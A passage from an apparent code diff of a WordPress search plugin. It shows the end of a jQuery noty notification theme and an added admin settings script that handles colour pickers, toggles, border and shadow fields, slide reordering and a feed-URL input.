+ background: "url(data:image/png;base64,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)",
61
+ display: 'none',
62
+ cursor: 'pointer'
63
+ });
64
+
65
+ this.$buttons.css({
66
+ padding: 5,
67
+ textAlign: 'right',
68
+ borderTop: '1px solid #ccc',
69
+ backgroundColor: '#fff'
70
+ });
71
+
72
+ this.$buttons.find('button').css({
73
+ marginLeft: 5
74
+ });
75
+
76
+ this.$buttons.find('button:first').css({
77
+ marginLeft: 0
78
+ });
79
+
80
+ this.$bar.bind({
81
+ mouseenter: function() { $(this).find('.noty_close').fadeIn(); },
82
+ mouseleave: function() { $(this).find('.noty_close').fadeOut(); }
83
+ });
84
+
85
+ switch (this.options.layout.name) {
86
+ case 'top':
87
+ this.$bar.css({
88
+ borderRadius: '0px 0px 5px 5px',
89
+ borderBottom: '2px solid #eee',
90
+ borderLeft: '2px solid #eee',
91
+ borderRight: '2px solid #eee',
92
+ boxShadow: "0 2px 4px rgba(0, 0, 0, 0.1)"
93
+ });
94
+ break;
95
+ case 'topCenter': case 'center': case 'bottomCenter': case 'inline':
96
+ this.$bar.css({
97
+ borderRadius: '5px',
98
+ border: '1px solid #eee',
99
+ boxShadow: "0 2px 4px rgba(0, 0, 0, 0.1)"
100
+ });
101
+ this.$message.css({fontSize: '13px', textAlign: 'center'});
102
+ break;
103
+ case 'topLeft': case 'topRight':
104
+ case 'bottomLeft': case 'bottomRight':
105
+ case 'centerLeft': case 'centerRight':
106
+ this.$bar.css({
107
+ borderRadius: '5px',
108
+ border: '1px solid #eee',
109
+ boxShadow: "0 2px 4px rgba(0, 0, 0, 0.1)"
110
+ });
111
+ this.$message.css({fontSize: '13px', textAlign: 'left'});
112
+ break;
113
+ case 'bottom':
114
+ this.$bar.css({
115
+ borderRadius: '5px 5px 0px 0px',
116
+ borderTop: '2px solid #eee',
117
+ borderLeft: '2px solid #eee',
118
+ borderRight: '2px solid #eee',
119
+ boxShadow: "0 -2px 4px rgba(0, 0, 0, 0.1)"
120
+ });
121
+ break;
122
+ default:
123
+ this.$bar.css({
124
+ border: '2px solid #eee',
125
+ boxShadow: "0 2px 4px rgba(0, 0, 0, 0.1)"
126
+ });
127
+ break;
128
+ }
129
+
130
+ switch (this.options.type) {
131
+ case 'alert': case 'notification':
132
+ this.$bar.css({backgroundColor: '#FFF', borderColor: '#CCC', color: '#444'}); break;
133
+ case 'warning':
134
+ this.$bar.css({backgroundColor: '#FFEAA8', borderColor: '#FFC237', color: '#826200'});
135
+ this.$buttons.css({borderTop: '1px solid #FFC237'}); break;
136
+ case 'error':
137
+ this.$bar.css({backgroundColor: 'red', borderColor: 'darkred', color: '#FFF'});
138
+ this.$message.css({fontWeight: 'bold'});
139
+ this.$buttons.css({borderTop: '1px solid darkred'}); break;
140
+ case 'information':
141
+ this.$bar.css({backgroundColor: '#57B7E2', borderColor: '#0B90C4', color: '#FFF'});
142
+ this.$buttons.css({borderTop: '1px solid #0B90C4'}); break;
143
+ case 'success':
144
+ this.$bar.css({backgroundColor: 'lightgreen', borderColor: '#50C24E', color: 'darkgreen'});
145
+ this.$buttons.css({borderTop: '1px solid #50C24E'});break;
146
+ default:
147
+ this.$bar.css({backgroundColor: '#FFF', borderColor: '#CCC', color: '#444'}); break;
148
+ }
149
+ },
150
+ callback: {
151
+ onShow: function() { $.noty.themes.defaultTheme.helpers.borderFix.apply(this); },
152
+ onClose: function() { $.noty.themes.defaultTheme.helpers.borderFix.apply(this); }
153
+ }
154
+ };
155
+
156
+ })(jQuery);
settings/types/others.js ADDED
@@ -0,0 +1,525 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ (function( $ ){
2
+ function wpdreamsOthers (args) {
3
+ var _self = this;
4
+ this.constructor = function() {
5
+ _self.init = true;
6
+ $('.wpdreamscolorpicker').prev('input').bind("change", this.colorPickerInit);
7
+ $('.wpdreamscolorpicker').prev('input').trigger("change");
8
+ $('.wpdreams-slider.moveable .settings').trigger("click");
9
+ $("#wpdreams img[title].infoimage").tooltip({
10
+ effect: 'slide',
11
+ delay: 500,
12
+ events: {
13
+ def: 'click, mouseout',
14
+ img: 'click, blur',
15
+ checkbox: 'mouseover click, mouseout',
16
+ date: 'click, blur'
17
+ }
18
+ });
19
+ $( ".sortable" ).sortable({
20
+ items: 'div.wpdreams-slider.moveable',
21
+ dropOnEmpty: false,
22
+ delay: 200,
23
+ stop: function(event, ui) {
24
+ var nodes = $(".sortable div.wpdreams-slider.moveable");
25
+ var nodesArr = Array();
26
+ for(var j=0,i=nodes.length;i>=0;j++,i--) {
27
+ nodesArr[j] = $(nodes[i]).attr("slideid");
28
+ }
29
+ var data = {
30
+ action: 'reorder_slides',
31
+ nodes: nodesArr,
32
+ ordering: i
33
+ };
34
+ $(nodes).fadeTo(400, 0.4);
35
+ jQuery.post(ajaxurl, data, function(response) {
36
+ $(nodes).fadeTo(400, 1);
37
+ });
38
+ }
39
+ });
40
+ _self.init = false;
41
+ },
42
+
43
+
44
+ $('.wpdreamsThemeChooser select').bind('change', function(){
45
+ var parent = $(this);
46
+ while(parent.is('form')!=true) {
47
+ parent = parent.parent();
48
+ }
49
+ var themeDiv = $('div[name="'+$(this).val()+'"]');
50
+ var items = $('p', themeDiv);
51
+ items.each(function(){
52
+ param = $('input[name^="'+$(this).attr('paramname')+'_"]', parent);
53
+ param.val($(this).html());
54
+ $('.triggerer', param.parent()).trigger('click');
55
+ });
56
+
57
+ });
58
+
59
+ /*
60
+ Image Settings
61
+ Msg: The name of the separate params determinates the value outputted in the hidden field.
62
+ */
63
+ $('.wpdreamsImageSettings input, .wpdreamsImageSettings select').change(function() {
64
+ parent = $(this).parent();
65
+ while (parent.hasClass('item')!=true) {
66
+ parent = parent.parent();
67
+ }
68
+ var elements = $('input[param!=1], select', parent);
69
+ var hidden = $('input[param=1]' ,parent);
70
+ var ret = "";
71
+ elements.each(function() {
72
+ ret+=$(this).attr("name")+":"+ $(this).val() + ";";
73
+ });
74
+ hidden.val(ret);
75
+ });
76
+ $('.wpdreamsImageSettings>fieldset>.triggerer').bind("click", function(){
77
+ var elements = $('input[param!=1], select', parent);
78
+ var hidden = $('input[param=1]' ,parent);
79
+ elements.each(function() {
80
+ var name = $(this).attr("name");
81
+ var regex = new RegExp(".*" + name + ":(.*?);.*");
82
+ val = hidden.val().replace(/(\r\n|\n|\r)/gm,"").match(regex);
83
+ $(this).val(val[1]);
84
+ if ($(this).next().hasClass('triggerer')) $(this).next().click();
85
+ });
86
+ });
87
+ //Image Settings End
88
+
89
+ /*
90
+ Select
91
+ Msg:
92
+ */
93
+ $('.wpdreamsSelect .wpdreamsselect').change(function() {
94
+ _self.hidden = $(this).next();
95
+ var val = $(_self.hidden).val().match(/(.*[\S\s]*?)\|\|(.*)/);
96
+ var options = val[1];
97
+ var selected = val[2];
98
+ $(_self.hidden).val(options+"||"+$(this).val());
99
+ });
100
+
101
+ $('.wpdreamsSelect .triggerer').bind('click', function(){
102
+ var parent = $(this).parent();
103
+ var select = $('select', parent);
104
+ var hidden = $('input[type=hidden]', parent);
105
+ var val = $(hidden).val().replace(/(\r\n|\n|\r)/gm,"").match(/(.*[\S\s]*?)\|\|(.*)/);
106
+ var selected = $.trim(val[2]);
107
+ select.val(selected);
108
+ });
109
+ //Select end
110
+
111
+
112
+ /*
113
+ LanguageSelect
114
+ Msg:
115
+ */
116
+ $('.wpdreamsLanguageSelect .wpdreamsselect').change(function() {
117
+ _self.hidden = $(this).next();
118
+ $(_self.hidden).val($(this).val());
119
+ });
120
+
121
+ //LanguageSelect end
122
+
123
+
124
+ /*
125
+ Onoff
126
+ Msg:
127
+ */
128
+ $('.wpdreamsOnOff .wpdreamsonoff').click(function() {
129
+ var hidden = $(this).next();
130
+ var val = $(hidden).val();
131
+ if (val==1) {
132
+ val = 0;
133
+ $(this).removeClass("on");
134
+ $(this).addClass("off");
135
+ $(this).html("OFF");
136
+ } else {
137
+ val = 1;
138
+ $(this).removeClass("off");
139
+ $(this).addClass("on");
140
+ $(this).html("ON");
141
+ }
142
+ $(hidden).val(val).change();
143
+ });
144
+ $('.wpdreamsOnOff .triggerer').click(function() {
145
+ var hidden = $('input[type=hidden]', $(this).parent());
146
+ var a = $('a', $(this).parent());
147
+ var val = $(hidden).val();
148
+ if (val==0) {
149
+ a.removeClass("on").addClass("off").html("OFF");
150
+ } else {
151
+ a.removeClass("off").addClass("on").html("ON");
152
+ }
153
+ });
154
+ /*Onoff End*/
155
+
156
+ /*
157
+ YesNo
158
+ Msg:
159
+ */
160
+ $('.wpdreamsYesNo .wpdreamsyesno').click(function() {
161
+ var hidden = $(this).next();
162
+ var val = $(hidden).val();
163
+ if (val==1) {
164
+ val = 0;
165
+ $(this).removeClass("yes");
166
+ $(this).addClass("no");
167
+ $(this).html("NO");
168
+ } else {
169
+ val = 1;
170
+ $(this).removeClass("no");
171
+ $(this).addClass("yes");
172
+ $(this).html("YES");
173
+ }
174
+ $(hidden).val(val);
175
+ $(hidden).change();
176
+ });
177
+ $('.wpdreamsYesNo .triggerer').click(function() {
178
+ var hidden = $('input[type=hidden]', $(this).parent());
179
+ var a = $('a', $(this).parent());
180
+ var val = $(hidden).val();
181
+ if (val==0) {
182
+ a.removeClass("yes").addClass("no").html("NO");
183
+ } else {
184
+ a.removeClass("no").addClass("yes").html("YES");
185
+ }
186
+ });
187
+ /*YesNo End*/
188
+
189
+
190
+ this.colorPickerInit = function(event) {
191
+ colorPicker = $(this).next().next('div');
192
+ input = this;
193
+ $(colorPicker).farbtastic(input);
194
+ };
195
+ $('.wpdreams-slider.moveable .settings').click(function(){
196
+ var moveable = this.parentNode.parentNode;
197
+ if ($('.errorMsg', moveable).length) return;
198
+ if (_self.sliderHeight==null) {
199
+ _self.sliderHeight = $(moveable).height();
200
+ }
201
+ if ($(moveable).height()<27) {
202
+ if (_self.init) {
203
+ $(moveable).css({
204
+ height: _self.sliderHeight
205
+ });
206
+ } else {
207
+ $(moveable).animate({
208
+ height: _self.sliderHeight
209
+ }, 500, function() {
210
+ });
211
+ }
212
+ } else {
213
+ if (_self.init) {
214
+ $(moveable).css({
215
+ height: "26px"
216
+ });
217
+ } else {
218
+ $(moveable).animate({
219
+ height: "26px"
220
+ }, 500, function() {
221
+ });
222
+ }
223
+ }
224
+ });
225
+ $('.successMsg').each(function() {
226
+ $(this).delay(4000).fadeOut();
227
+ });
228
+ $('img.delete').click(function() {
229
+ var del = confirm("Do yo really want to delete this item?");
230
+ if (del) {
231
+ $(this).next().submit();
232
+ }
233
+ });
234
+
235
+ /*
236
+ RadioImage
237
+ Msg:
238
+ */
239
+ $('img.radioimage').click(function() {
240
+ $("img.radioimage", $(this).parent()).removeClass("selected");
241
+ $(this).addClass("selected");
242
+ var val = $("input[type=hidden]", $(this).parent()).val().match(/(.*[\S\s]*?)\|\|(.*)/);
243
+ var options = val[1];
244
+ var selected = val[2];
245
+ var pre = "/ajax-search-pro/img/" //magnifiers/magn5.png
246
+ var nval = $(this).attr('src').match(/.*?ajax-search-pro\/img\/(.*)/)[1];
247
+ nval = pre+nval;
248
+ $("input[type=hidden]", $(this).parent()).val(options+"||"+nval);
249
+ });
250
+ $('.wpdreamsImageRadio .triggerer').bind('click', function(){
251
+ var val = $("input[type=hidden]", $(this).parent()).val().replace(/(\r\n|\n|\r)/gm,"").match(/(.*[\S\s]*?)\|\|(.*)/);
252
+ var selected = $.trim(val[2]);
253
+ $("img", $(this).parent()).each(function(){
254
+ $(this).removeClass("selected");
255
+ var re = new RegExp(selected);
256
+ if ($.trim($(this).attr('src')).match(re)!=null) {
257
+ $(this).addClass("selected");
258
+ }
259
+ });
260
+ });
261
+ /*RadioImage End*/
262
+
263
+
264
+ /*
265
+ BoxShadow
266
+ Msg: Its a bit more complicated but working fine :)
267
+ */
268
+ $('.wpdreamsBoxShadow input[type=text], .wpdreamsBoxShadow select').change(function() {
269
+ var value = "";
270
+ var parent = $(this).parent();
271
+ while (parent.hasClass('wpdreamsBoxShadow')!=true) {
272
+ parent = $(parent).parent();
273
+ }
274
+ var hlength = $.trim($('input[name*="_xx_hlength_xx_"]', parent).val())+"px ";
275
+ var vlength = $.trim($('input[name*="_xx_vlength_xx_"]', parent).val())+"px ";
276
+ var blurradius = $.trim($('input[name*="_xx_blurradius_xx_"]', parent).val())+"px ";
277
+ var spread = $.trim($('input[name*="_xx_spread_xx_"]', parent).val())+"px ";
278
+ var color = $.trim($('input[name*="_xx_color_xx_"]', parent).val())+" ";
279
+ var inset = $.trim($('select[name*="_xx_inset_xx_"]', parent).val())+";";
280
+ var boxshadow = "box-shadow:"+hlength+vlength+blurradius+spread+color+inset;
281
+
282
+ $('input[type=hidden]', parent).val(boxshadow);
283
+ });
284
+ $('.wpdreamsBoxShadow>fieldset>.triggerer').bind('click', function(){
285
+ var parent = $(this).parent();
286
+ var hidden = $("input[type=hidden]", parent);
287
+ var boxshadow = hidden.val().replace(/(\r\n|\n|\r)/gm,"").match(/box-shadow:(.*?)px (.*?)px (.*?)px (.*?)px (.*?) (.*?);/);
288
+
289
+ $('input[name*="_xx_hlength_xx_"]', parent).val(boxshadow[1])+"px ";
290
+ $('input[name*="_xx_vlength_xx_"]', parent).val(boxshadow[2])+"px ";
291
+ $('input[name*="_xx_blurradius_xx_"]', parent).val(boxshadow[3])+"px ";
292
+ $('input[name*="_xx_spread_xx_"]', parent).val(boxshadow[4])+"px ";
293
+ $('input[name*="_xx_color_xx_"]', parent).val(boxshadow[5])+" ";
294
+ $('select[name*="_xx_inset_xx_"]', parent).val(boxshadow[6])+";";
295
+ $('input[name*="_xx_color_xx_"]', parent).keyup();
296
+ /*var name = $(this).attr('name').match(/.*_xx_(.*)_xx_/)[1]
297
+ var regex = new RegExp(".*" + name + ":(.*?);.*");
298
+ val = hidden.val().replace(/(\r\n|\n|\r)/gm,"").match(regex);
299
+ $(this).val(val[1]); */
300
+ //$('input[name*="_xx_color_xx_"]', parent).trigger("keyup");
301
+
302
+ });
303
+ /*BoxShadow end*/
304
+
305
+
306
+ /*
307
+ Border
308
+ Msg: Its a bit more complicated but working fine :)
309
+ */
310
+ $('.wpdreamsBorder input[type=text], .wpdreamsBorder select').bind("change", function() {
311
+ var value = "";
312
+ /*$('input[type=text]', $(this).parent()).each(function(){
313
+ if ($(this).attr('name').match(/.*_xx_(.*)_xx_/)!=null) {
314
+ var name = $(this).attr('name').match(/.*_xx_(.*)_xx_/)[1];
315
+ value += name+ ":" + $(this).val()+";";
316
+ }
317
+ });
318
+ $('select', $(this).parent()).each(function(){
319
+ if ($(this).attr('name').match(/.*_xx_(.*)_xx_/)!=null) {
320
+ var name = $(this).attr('name').match(/.*_xx_(.*)_xx_/)[1];
321
+ value += name+ ":" + $(this).val()+";";
322
+ }
323
+ });*/
324
+ var parent = $(this).parent();
325
+ while (parent.hasClass('wpdreamsBorder')!=true) {
326
+ parent = $(parent).parent();
327
+ }
328
+ var width = $('input[name*="_xx_width_xx_"]', parent).val()+"px ";
329
+ var style = $('select[name*="_xx_style_xx_"]', parent).val()+" ";
330
+ var color = $('input[name*="_xx_color_xx_"]', parent).val()+";";
331
+ var border = "border:"+width+style+color;
332
+
333
+ var topleft = $.trim($('input[name*="_xx_topleft_xx_"]', parent).val())+"px ";
334
+ var topright = $.trim($('input[name*="_xx_topright_xx_"]', parent).val())+"px ";
335
+ var bottomright = $.trim($('input[name*="_xx_bottomright_xx_"]', parent).val())+"px ";
336
+ var bottomleft = $.trim($('input[name*="_xx_bottomleft_xx_"]', parent).val())+"px;";
337
+ var borderradius = "border-radius:"+topleft+topright+bottomright+bottomleft;
338
+
339
+ var value = border + borderradius;
340
+
341
+ $('input[type=hidden]', parent).val(value);
342
+ });
343
+ $('.wpdreamsBorder>fieldset>.triggerer').bind('click', function(){
344
+ var parent = $(this).parent();
345
+ var hidden = $("input[type=hidden]", parent);
346
+ var border = hidden.val().replace(/(\r\n|\n|\r)/gm,"").match(/border:(.*?)px (.*?) (.*?);/);
347
+ $('input[name*="_xx_width_xx_"]', parent).val(border[1])+"px ";
348
+ $('select[name*="_xx_style_xx_"]', parent).val(border[2])+" ";
349
+ $('input[name*="_xx_color_xx_"]', parent).val(border[3])+";";
350
+
351
+ var borderradius = hidden.val().replace(/(\r\n|\n|\r)/gm,"").match(/border-radius:(.*?)px(.*?)px(.*?)px(.*?)px;/);
352
+ $('input[name*="_xx_topleft_xx_"]', parent).val(borderradius[1])+"px ";
353
+ $('input[name*="_xx_topright_xx_"]', parent).val(borderradius[2])+"px ";
354
+ $('input[name*="_xx_bottomright_xx_"]', parent).val(borderradius[3])+"px ";
355
+ $('input[name*="_xx_bottomleft_xx_"]', parent).val(borderradius[4])+"px;";
356
+ $('input[name*="_xx_color_xx_"]', parent).keyup();
357
+ /*var name = $(this).attr('name').match(/.*_xx_(.*)_xx_/)[1]
358
+ var regex = new RegExp(".*" + name + ":(.*?);.*");
359
+ val = hidden.val().replace(/(\r\n|\n|\r)/gm,"").match(regex);
360
+ $(this).val(val[1]); */
361
+ //$('input[name*="_xx_color_xx_"]', parent).trigger("keyup");
362
+
363
+ });
364
+ /*Border end*/
365
+
366
+
367
+ /*
368
+ BorderRadius
369
+ Msg: Its a bit more complicated but working fine :)
370
+ */
371
+ $('.wpdreamsBorderRadius input[type=text]').change(function() {
372
+ var value = "";
373
+ $('input[type=text]', $(this).parent()).each(function(){
374
+ value += " " + $(this).val()+"px";
375
+ });
376
+ $('input[type=hidden]', $(this).parent()).val("border-radius:"+value+";");
377
+ });
378
+ $('.wpdreamsBorderRadius>fieldset>.triggerer').bind('click', function(){
379
+ var hidden = $("input[type=hidden]", $(this).parent());
380
+ var values = hidden.val().match(/border-radius:(.*?)px(.*?)px(.*?)px(.*?)px;/);
381
+ var i = 1;
382
+ $('input[type=text]', $(this).parent()).each(function(){
383
+ if ($(this).attr('name')!=null) {
384
+ $(this).val(values[i]);
385
+ i++;
386
+ }
387
+ });
388
+ });
389
+ /*BorderRadius end*/
390
+
391
+ $('img.ordering').click(function() {
392
+ $(this).next().submit();
393
+ });
394
+
395
+ /*
396
+ Colorpicker Start
397
+ Msg: Keyup event triggers the color change!
398
+ */
399
+ $('.wpdreamsColorPicker .wpdreamscolorpicker').click( function(e) {
400
+ colorPicker = $(this).next('div');
401
+ input = $(this).prev('input');
402
+ $(colorPicker).farbtastic(input);
403
+ colorPicker.show();
404
+ var inputPos = input.position();
405
+ colorPicker.css("left",inputPos.left);
406
+ e.preventDefault();
407
+ $(document).mousedown( function() {
408
+ $(colorPicker).hide();
409
+ $(input).val($(input).val());
410
+ $(input).trigger('change');
411
+ $(input).trigger('keyup');
412
+ });
413
+ });
414
+ $('.wpdreamsColorPicker .triggerer').bind('click', function(){
415
+ var parent = $(this).parent();
416
+ var input = $('input[type=text]', parent);
417
+ input.trigger("keyup");
418
+ });
419
+ //Colorpicker End
420
+
421
+
422
+ $('form.wpdreams-ajaxinput').each(function(){
423
+ var _tmpmargin = $(this).css("marginLeft");
424
+ $("img", this).click(function() {
425
+ var src = $(this).attr('src');
426
+ var img = src.match(/(.*)\/.*$/)[1];
427
+ if ($(this).attr('opened')=="0") {
428
+ $(this).attr('opened', '1');
429
+ $(this).attr('src', img+'/arrow-left.png');
430
+ ($(this).parent()).animate({marginLeft:0});
431
+ } else {
432
+ $(this).attr('opened', '0');
433
+ $(this).attr('src', img+'/arrow-right.png');
434
+ ($(this).parent()).animate({marginLeft:_tmpmargin});
435
+ }
436
+ });
437
+ $("input[name=url]", this).click(function() {
438
+ if ($(this).val()=="Enter the feed url here...")
439
+ $(this).val("");
440
+ });
441
+ $("input[name=url]", this).blur(function() {
442
+ if ($(this).val()=="")
443
+ $(this).val("Enter the feed url here...");
444
+ });
445
+ $("input[type=button]", this).bind("click",function(e){
446
+ e.preventDefault();
447
+ var data = {
448
+ action: 'wpdreams-ajaxinput',
449
+ url: $("input[name=url]", $(this).parent()).val(),
450
+ uid: $("input[name=uid]", $(this).parent()).val(),
